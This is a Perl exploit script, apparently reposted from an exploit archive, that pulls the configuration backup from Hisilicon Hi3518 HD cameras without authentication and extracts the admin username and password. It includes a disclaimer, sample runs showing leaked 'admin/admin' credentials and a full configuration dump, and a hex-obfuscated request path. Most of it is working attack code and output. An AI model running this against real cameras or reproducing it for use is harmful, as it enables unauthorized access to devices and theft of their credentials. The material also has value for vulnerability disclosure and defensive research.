Share
#!/usr/bin/perl -w
#
#  Hisilicon Hi3518 HD Camera Remote Configuration Disclosure
#
#  Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
#
#
#  Disclaimer:
#  This or previous programs are for Educational purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages 
#  caused by direct or indirect use of the  information or functionality provided by these programs. 
#  The author or any Internet provider  bears NO responsibility for content or misuse of these programs 
#  or any derivatives thereof. By using these programs you accept the fact  that any damage (dataloss, 
#  system crash, system compromise, etc.) caused by the use  of these programs are not Todor Donev's 
#  responsibility.
#   
#  Use them at your own risk!  
#  
#  (Dont do anything without permissions)
#
#
#  #  [ Hisilicon Hi3518 HD Camera Remote Configuration Disclosure
#  #  [ ==========================================================
#  #  [ Exploit Author: Todor Donev 2019 <[email protected]>
#  #  [ Initializing the browser
#  #  [ >>  User-Agent => Mozilla/5.0 (compatible; Konqueror/3.5; OpenBSD) KHTML/3.5.9 (like Gecko)
#  #  [ >>  Content-Type => application/x-www-form-urlencoded
#  #  [ <<  Connection => close
#  #  [ <<  Date => Thu, 03 Oct 2019 13:11:15 GMT
#  #  [ <<  Accept-Ranges => bytes
#  #  [ <<  Server => thttpd/2.25b 29dec2003
#  #  [ <<  Content-Length => 23878
#  #  [ <<  Content-Type => application/octet-stream
#  #  [ <<  Last-Modified => Thu, 03 Oct 2019 13:11:14 GMT
#  #  [ <<  Client-Date => Thu, 03 Oct 2019 13:11:23 GMT
#  #  [ <<  Client-Peer => 192.168.1.1:80
#  #  [ <<  Client-Response-Num => 1
#  #  [ 
#  #  [ Username : admin
#  #  [ Password : admin
#
#
#   CONFIGURATION DUMP, TEST:
#
#  #  [ Hisilicon Hi3518 HD Camera Remote Configuration Disclosure
#  #  [ ==========================================================
#  #  [ Exploit Author: Todor Donev 2019 <[email protected]>
#  #  [ Initializing the browser
#  #  [ >>  User-Agent => Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.14) Gecko/20080821 Firefox/2.0.0.14
#  #  [ >>  Content-Type => application/x-www-form-urlencoded
#  #  [ <<  Connection => close
#  #  [ <<  Date => Thu, 03 Oct 2019 13:13:05 GMT
#  #  [ <<  Accept-Ranges => bytes
#  #  [ <<  Server => thttpd/2.25b 29dec2003
#  #  [ <<  Content-Length => 23878
#  #  [ <<  Content-Type => application/octet-stream
#  #  [ <<  Last-Modified => Thu, 03 Oct 2019 13:13:04 GMT
#  #  [ <<  Client-Date => Thu, 03 Oct 2019 13:13:13 GMT
#  #  [ <<  Client-Peer => 192.168.1.1:80
#  #  [ <<  Client-Response-Num => 1
#  #  [ 
#  #  [ >> Configuration dump...
#  #  [
#  #  [ #  #  [debuglog]                                            
#  #  [ minlevel                       = "7             ";ȡֵ��Χ:
#  #  [                                                 ;   0," "
#  #  [                                                 ;   1,"#  #  [fatal   ]"
#  #  [                                                 ;   2,"#  #  [error   ]"
#  #  [                                                 ;   3,"#  #  [warn    ]"
#  #  [                                                 ;   4,"#  #  [info    ]"
#  #  [                                                 ;   5,"#  #  [debug   ]"
#  #  [                                                 ;   6,"#  #  [debug1  ]"
#  #  [                                                 ;   7,"#  #  [debug2  ]"
#  #  [ lenmsg                         = "512          ";Ӧ����������ij��
#  #  [ syslog                         = "n             " ;�C·ï¿½ï¿½ï¿½ï¿½ï¿½ÏµÍ³ï¿½ï¿½Ö¾
#  #  [ savefile                       = "y             " ;�C·ï¿½ï¿½ï¿½ï¿½Ä¼ï¿½;
#  #  [ filename                       = "/bin/vs/log/debuglog.txt  ";
#  #  [ filemaxsize                    = "500            ";�����ļ�����������,��KBΪ��λ
#  #  [ 
#  #  [ #  #  [syslog]                                            
#  #  [ minlevel                       = "7             ";ȡֵ��Χ:
#  #  [                                                 ;   0," "
#  #  [                                                 ;   1,"#  #  [fatal   ]"
#  #  [                                                 ;   2,"#  #  [error   ]"
#  #  [                                                 ;   3,"#  #  [warn    ]"
#  #  [                                                 ;   4,"#  #  [info    ]"
#  #  [                                                 ;   5,"#  #  [debug   ]"
#  #  [                                                 ;   6,"#  #  [debug1  ]"
#  #  [                                                 ;   7,"#  #  [debug2  ]"
#  #  [ lenmsg                         = "512            ";Ӧ����������ij��
#  #  [ syslog                         = "y              ";�C·ï¿½ï¿½ï¿½ï¿½ï¿½ÏµÍ³ï¿½ï¿½Ö¾
#  #  [ savefile                       = "n              ";�C·ï¿½ï¿½ï¿½ï¿½Ä¼ï¿½;
#  #  [ filename                       = "               ";
#  #  [ filemaxsize                    = "               ";�����ļ�����������,��KBΪ��λ
#  #  [ 
#  #  [ #  #  [accesslog]                                            
#  #  [ minlevel                       = "5             ";ȡֵ��Χ:
#  #  [                                                 ;   0," "
#  #  [                                                 ;   1,"#  #  [fatal   ]"
#  #  [                                                 ;   2,"#  #  [error   ]"
#  #  [                                                 ;   3,"#  #  [warn    ]"
#  #  [                                                 ;   4,"#  #  [info    ]"
#  #  [                                                 ;   5,"#  #  [debug   ]"
#  #  [                                                 ;   6,"#  #  [debug1  ]"
#  #  [                                                 ;   7,"#  #  [debug2  ]"
#  #  [ lenmsg                         = "512            ";Ӧ����������ij��
#  #  [ syslog                         = "n              ";�C·ï¿½ï¿½ï¿½ï¿½ï¿½ÏµÍ³ï¿½ï¿½Ö¾
#  #  [ savefile                       = "y              ";�C·ï¿½ï¿½ï¿½ï¿½Ä¼ï¿½;
#  #  [ filename                       = "/bin/vs/log/accesslog.txt ";
#
# 
use strict;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;
use Gzip::Faster 'gunzip';

my $host = shift || ''; # Full path url to the store
my $cmd = shift || ''; # show - Show configuration dump
$host =~ s/\/$//;
print  "\033[2J";    #clear the screen
print  "\033[0;0H"; #jump to 0,0
print STDERR "[ Hisilicon Hi3518 HD Camera Remote Configuration Disclosure\n";
print STDERR "[ ==========================================================\n";
print STDERR "[ Exploit Author: Todor Donev 2019 <todor.donev\@gmail.com>\n";
if ($host !~ m/^http/){ 
        print STDERR "[ Usage, Password Disclosure: perl $0 https://target:port/\n";
        print STDERR "[ Usage, Show Configuration : perl $0 https://target:port/ show\n";
        exit;
}
print STDERR "[ Initializing the browser\n";
my $user_agent = rand_ua("browsers");
my $browser  = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 });
   $browser->timeout(30);
   $browser->agent($user_agent);
my $target = $host."\x2f\x77\x65\x62\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x68\x69\x33\x35\x31\x30\x2f\x62\x61\x63\x6b\x75\x70\x2e\x63\x67\x69";
my $request = HTTP::Request->new (GET => $target,[Content_Type => "application/x-www-form-urlencoded"]);                      
my $response = $browser->request($request) or die "[ Exploit Failed: $!";
print STDERR "[ >>  $_ => ", $request->header($_), "\n" for  $request->header_field_names;
print STDERR "[ <<  $_ => ", $response->header($_), "\n" for  $response->header_field_names;
my $gzipped = $response->content();
my $config = gunzip($gzipped);
print STDERR "[ \n";
if ($cmd =~ /show/) {
        print STDERR "[ >> Configuration dump...\n[\n";
        print  "[ ", $_, "\n" for split(/\n/,$config);
        exit;
} else {
        print  "[ Username : ", $1, "\n" if ($config =~ /username=(.*)/);
        print  "[ Password : ", $1, "\n" if ($config =~ /password=(.*)/);
        exit;
}

#  0day.today [2019-12-04]  #